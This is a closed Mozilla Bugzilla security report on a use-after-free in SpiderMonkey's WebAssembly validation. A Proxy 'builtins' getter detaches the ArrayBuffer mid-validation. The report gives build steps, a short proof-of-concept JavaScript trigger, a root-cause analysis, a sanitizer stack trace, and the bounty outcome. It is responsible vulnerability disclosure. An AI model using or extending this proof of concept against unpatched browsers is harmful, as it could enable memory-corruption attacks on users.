Closed Bug 1987611 Opened 1 year ago Closed 1 year ago

Use-After-Free in WebAssembly Module Validation via Detached ArrayBuffer

Categories

(Core :: JavaScript: WebAssembly, defect, P1)

defect

Tracking

()

RESOLVED DUPLICATE of bug 1987624

People

(Reporter: sakura, Unassigned)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-uaf, reporter-external, sec-high, Whiteboard: [client-bounty-form])

Reproduce

  1. Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
  2. Run build command in the js/src directory of the firefox checkout:
    mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64
    
  3. Run poc: fuzzbuild_OPT.OBJ/dist/bin/js poc.js

Test SpiderMonkey commit hash: 3c23ce1368431d49bae08e8e211f7f2bf4e4829d

commit 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
Author: stransky <stransky@redhat.com>
Date: 2025-09-08 04:20:40 +0000

Bug 1979106 [Wayland] Don't recycle buffer transactions across WaylandSurfaces r=emilio

POC (poc.js):

// Ultra-minimal WebAssembly crash
const buffer = new ArrayBuffer(4294967303);  // 4GB+ buffer
const options = new Proxy({}, {
  get(target, prop) {
    if (prop === 'builtins') {
      buffer.transfer();  // Detach buffer
      gc();              // Force garbage collection
    }
  }
});
WebAssembly.validate(buffer, options);

Root Cause

The vulnerability occurs due to a use-after-free condition in SpiderMonkey's WebAssembly module validation process when handling detached ArrayBuffers. The issue arises when WebAssembly.validate() is called with a large ArrayBuffer and a Proxy object that triggers buffer detachment during the validation process.

The crash occurs in the WebAssembly decoder's read() method in WasmBinary.h:316 when attempting to read from a detached buffer. During validation, WebAssembly.validate() accesses the options object to check for the 'builtins' property, which triggers the Proxy getter. The getter calls buffer.transfer() which detaches the ArrayBuffer, making its underlying memory inaccessible. However, the validation process continues and attempts to read from the now-invalid memory location.

The problematic code path is in WasmBinary.h:

// Line 316 in Decoder::read()
template <class T>
[[nodiscard]] bool read(T* out) {
  if (bytesRemain() < sizeof(T)) {
    return false;
  }
  memcpy((void*)out, cur_, sizeof(T));  // SEGV occurs here - cur_ points to detached buffer
  cur_ += sizeof(T);
  return true;
}

The sequence of events is:

  1. WebAssembly.validate() is called with a large ArrayBuffer (4GB+) and Proxy options
  2. The validation process begins by creating a Decoder with a pointer to the buffer's data
  3. During validation, the engine accesses the options object looking for the 'builtins' property
  4. The Proxy getter is triggered, which calls buffer.transfer() to detach the ArrayBuffer
  5. Garbage collection is forced, potentially freeing the detached buffer's memory
  6. The validation continues and calls Decoder::read() which attempts to memcpy from the invalid memory location
  7. This results in a SEGV when trying to read from address 0x7f957d300000 (unmapped memory)

Crash Stack Trace

UndefinedBehaviorSanitizer Error: SEGV on unknown address 0x7f957d300000

Stack frames showing crash path:

UndefinedBehaviorSanitizer:DEADLYSIGNAL
==2668821==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7f957d300000 (pc 0x5572432ad2d8 bp 0x7ffe22c83b90 sp 0x7ffe22c83b70 T2668821)
==2668821==The signal is caused by a READ memory access.

    #0 0x5572432ad2d8 in memcpy /home/sakura/.mozbuild/sysroot-x86_64-linux-gnu/usr/include/x86_64-linux-gnu/bits/string3.h:51:10
    #1 0x5572432ad2d8 in bool js::wasm::Decoder::read<unsigned int>(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:316:5
    #2 0x5572432ad2d8 in js::wasm::Decoder::readFixedU32(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:468:57
    #3 0x5572432ad2d8 in DecodePreamble(js::wasm::Decoder&) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:2443:10
    #4 0x5572432ad47d in js::wasm::DecodeModuleEnvironment(js::wasm::Decoder&, js::wasm::CodeMetadata*, js::wasm::ModuleMetadata*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:3903:8
    #5 0x5572432b754d in js::wasm::Validate(JSContext*, js::wasm::BytecodeSource const&, js::wasm::FeatureOptions const&, std::unique_ptr<char [], JS::FreePolicy>*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:4292:8
    #6 0x5572431d2f7e in WebAssembly_validate(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/wasm/WasmJS.cpp:4700:20

Register values at crash:

rax = 0x0000000000000000  rbx = 0x00007ffe22c84248  rcx = 0x0000000000000004  rdx = 0x00007f957d300000  
Flags: sec-bounty?
Group: firefox-core-security → core-security
Component: Security → JavaScript: WebAssembly
Product: Firefox → Core
Group: core-security → javascript-core-security
Blocks: sm-security
Severity: -- → S2
Priority: -- → P1

Thank you for this report! It appears this is a duplicate of bug 1987624, which was discovered earlier.

Status: NEW → RESOLVED
Closed: 1 year ago
Duplicate of bug: 1987624
Resolution: --- → DUPLICATE

Since this duplicate was filed within our bug bounty collision window we are awarding a split bounty of $2000 (each), plus $1000 for the high quality report and root cause analysis missing in the other bug.

Flags: sec-bounty? → sec-bounty+
Group: javascript-core-security
You need to log in before you can comment on or make changes to this bug.